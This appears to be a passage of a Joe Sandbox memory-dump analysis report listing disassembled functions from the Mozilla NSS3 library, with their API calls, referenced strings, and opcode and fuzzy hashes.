PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CFFDE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CFFDE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CFFDEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CFFDEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFFDECC

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 41d34f0942c5359a541c42a5ac89545fee6c5f37569261633b4c4fdc831e8b87
Instruction ID: 8a051ba8c40505f97851c71476948afbe7afae2f21964fb88ecbb42e1840d710
Opcode Fuzzy Hash: 41d34f0942c5359a541c42a5ac89545fee6c5f37569261633b4c4fdc831e8b87
Instruction Fuzzy Hash: 4731E4B29042146BEB00AF68AC40BBF76A8DF54708F050135ED29A7761FB31D915C7E2

Function 6CFD7E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFD7E48

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CFD7E5B

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFD7E7B

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6D0F925C,?), ref: 6CFD7E92

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFD7EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CFD7ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CFD7EFA

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 909159585456ed6bd14d5f06c63023f71fe96dea4dc1b94950d4046406cdfb64
Instruction ID: 32bf7c05335f985d47247ac199c11ba7147844ba7fee0505d84a19c8d9429d89
Opcode Fuzzy Hash: 909159585456ed6bd14d5f06c63023f71fe96dea4dc1b94950d4046406cdfb64
Instruction Fuzzy Hash: 2B318FB2E052129BFB108B699C40B5B73E8AF44658F1B4926ED59EF645E730FC04C7E1

Function 6D02DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6D02D9E4,00000000), ref: 6D02DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6D02D9E4,00000000), ref: 6D02DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6D02D9E4,00000000), ref: 6D02DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D02DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6D02DCAD

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 259338b43687e71ea2439d570d611e33b0522d799a6191db1038eb261b213d40
Instruction ID: 9fedfdd6e3499c2e2bcd2ee61111aa14a01033bcc851f732a0ac01d863a2d3fa
Opcode Fuzzy Hash: 259338b43687e71ea2439d570d611e33b0522d799a6191db1038eb261b213d40
Instruction Fuzzy Hash: F1314DB59052129FF750CF19D884B66B7F8BF85354F258429E948CB701E7B1E940CBA1

Function 6CFF2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CFEE728,?,00000038,?,?,00000000), ref: 6CFF2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFF2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFF2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CFF2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CFF2E9E
PR_Unlock.NSS3(?), ref: 6CFF2EAB
PR_Unlock.NSS3(?), ref: 6CFF2F0D

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 1ee482854afea63d721d5b427b6c999149ba55b5e4407c77002d8c3a9eb6f61d
Instruction ID: 70520a61b12c4d23ea7fc26e03d19942768e914723208ce0b89132758029eeed
Opcode Fuzzy Hash: 1ee482854afea63d721d5b427b6c999149ba55b5e4407c77002d8c3a9eb6f61d
Instruction Fuzzy Hash: 613158B6A00145ABEB009F28EC449B6BB79FF45358B148174ED18C7721EB32DD61C7E1

Function 6D03CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6D03CD93,?), ref: 6D03CEEE

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6D03CD93,?), ref: 6D03CEFC

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6D03CD93,?), ref: 6D03CF0B

Part of subcall function 6D030840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D0308B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6D03CD93,?), ref: 6D03CF1D

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6D03CD93,?), ref: 6D03CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6D03CD93,?), ref: 6D03CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6D03CD93,?,?,?,?,?,?,?,?,?,?,?,6D03CD93,?), ref: 6D03CF78

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: c87ea314c08aff302e0ce391d1afb696876c64cb30bca5ae68828476cc4e5ddf
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: F011A2B5A043275BFB009A676C41B3BB5EC9F58649F024539EE09D7241FB60D90486F6

Function 6CFE8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFE8C1B
EnterCriticalSection.KERNEL32 ref: 6CFE8C34
PL_ArenaAllocate.NSS3 ref: 6CFE8C65
PR_Unlock.NSS3 ref: 6CFE8C9C
PR_Unlock.NSS3 ref: 6CFE8CB6

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

Strings

KRAM, xrefs: 6CFE8C8F

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: c3de087352b1cd7e02d728d11c49b95bf3ca907357c063a940810377a04aca18
Instruction ID: d55057541511bfcf7f4aedcfb7a72736f0cbaa5bbb8a3d5477f70be89e25d5ba
Opcode Fuzzy Hash: c3de087352b1cd7e02d728d11c49b95bf3ca907357c063a940810377a04aca18
Instruction Fuzzy Hash: BD21A1B1905A019FD700AF7CC484659BBF4FF4A304F06896ED988CB711EB31D896CB92

Function 6D063E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6D065B40: PR_GetIdentitiesLayer.NSS3 ref: 6D065B56

PR_EnterMonitor.NSS3(?), ref: 6D063E45

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

PR_EnterMonitor.NSS3(?), ref: 6D063E5C
PR_EnterMonitor.NSS3(?), ref: 6D063E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6D063EA6

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_ExitMonitor.NSS3(?), ref: 6D063EC0
PR_ExitMonitor.NSS3(?), ref: 6D063ED7
PR_ExitMonitor.NSS3(?), ref: 6D063EEE

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 3fd902fc9bc08cd2c344c2f8dd1f44f77495b04d12177eaeea0b48696f3acefc
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 55110A75914640AFFB319E29FC02B9BB3F5DB44218F485834E51A8A161E732E825D7F2

Function 6D0E2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6D0E2CA0
PR_ExitMonitor.NSS3 ref: 6D0E2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6D0E2CD1
strdup.MOZGLUE(?), ref: 6D0E2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6D0E2D27

Strings

Loaded library %s (static lib), xrefs: 6D0E2D22

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 176844b2aa0279fa7139aab5dd6b7be6d8ba677e2b5dd6851eccec4ba1f10d3a
Instruction ID: c526e9c071d1cab8f0417e8790b3a1a8b7a9bc59697c24b67bd892b880e5d819
Opcode Fuzzy Hash: 176844b2aa0279fa7139aab5dd6b7be6d8ba677e2b5dd6851eccec4ba1f10d3a
Instruction Fuzzy Hash: 061104B9A04202DFFB308F65E841B6A77B5AB45349F05843DD90987341E7F19858CBA2

Function 6CFDBDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFDBDCA

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFDBDDB

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFDBDEC

Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CFDBE03

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFDBE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFDBE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFDBE3B

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: e7ee06c009698c9e39d135af13f01cfe71fa69bc93ccaab9b45df6b1f1eec6c1
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 5301D6A6A4921366F6101A66AC01F6B6A4C4F5178DF1B0134EF049B682FB51F51582FA

Function 6D030FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016

Part of subcall function 6D0998D0: calloc.MOZGLUE(00000001,00000084,6CFC0936,00000001,?,6CFC102C), ref: 6D0998E5

PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B
TlsGetValue.KERNEL32(00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031044
free.MOZGLUE(00000000,?,00000800,6CFCEF74,00000000), ref: 6D031064

Strings

security, xrefs: 6D031025

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: e5b8628ce2d185cb5fdbc1054a0c5a3e5291230c923bfc5f340243b107ea3d45
Instruction ID: ada0bf0a37a586e1fa7c85c582998caa02cfb41cea789efc4f6f6eb53024ca11
Opcode Fuzzy Hash: e5b8628ce2d185cb5fdbc1054a0c5a3e5291230c923bfc5f340243b107ea3d45
Instruction Fuzzy Hash: 49014874A502629BF7212F38AC0575E3AA8BF4B744F034115E91897291EBE1C164CBD3

Function 6D061C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6D061C74

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6D061C92
free.MOZGLUE(?), ref: 6D061C99
DeleteCriticalSection.KERNEL32(?), ref: 6D061CCB
free.MOZGLUE(?), ref: 6D061CD2

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: d5613ac35bfc06632e7dce67051d9021cf196c0f33c4cab0c4027176339803f5
Instruction ID: b06583cf9779b7b5757439445ae5e8d856c7c1ecafd913e7cef4f2d9c72699cf
Opcode Fuzzy Hash: d5613ac35bfc06632e7dce67051d9021cf196c0f33c4cab0c4027176339803f5
Instruction Fuzzy Hash: 8601F9B5D08661AFFF30AFB4BC09B4D3BBC6B06314F410124EA0997240E3F1904547E6

Function 6D0C1C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6CFC3D77,?,?,6CFC4E1D), ref: 6D0C1C8A
sqlite3_free.NSS3(00000000), ref: 6D0C1CB6

Strings

a generated column, xrefs: 6D0C1C6C
an index, xrefs: 6D0C1C67
a CHECK constraint, xrefs: 6D0C1C76, 6D0C1C81
non-deterministic use of %s() in %s, xrefs: 6D0C1C85

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: 5d3581a1e8e394a24593c5d48ba8f8fc7175a725405ad7ffbb3471ff73b05b40
Instruction ID: 67258d971529969de5418e6198f554f80baa5d42fc56a3ec4737c52cf3e0bd55
Opcode Fuzzy Hash: 5d3581a1e8e394a24593c5d48ba8f8fc7175a725405ad7ffbb3471ff73b05b40
Instruction Fuzzy Hash: F50124B5A001005BD700BB2CD441AB577E6EF8634CB14487DE9449B306EF72E85687A2

Function 6D072E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6D073046

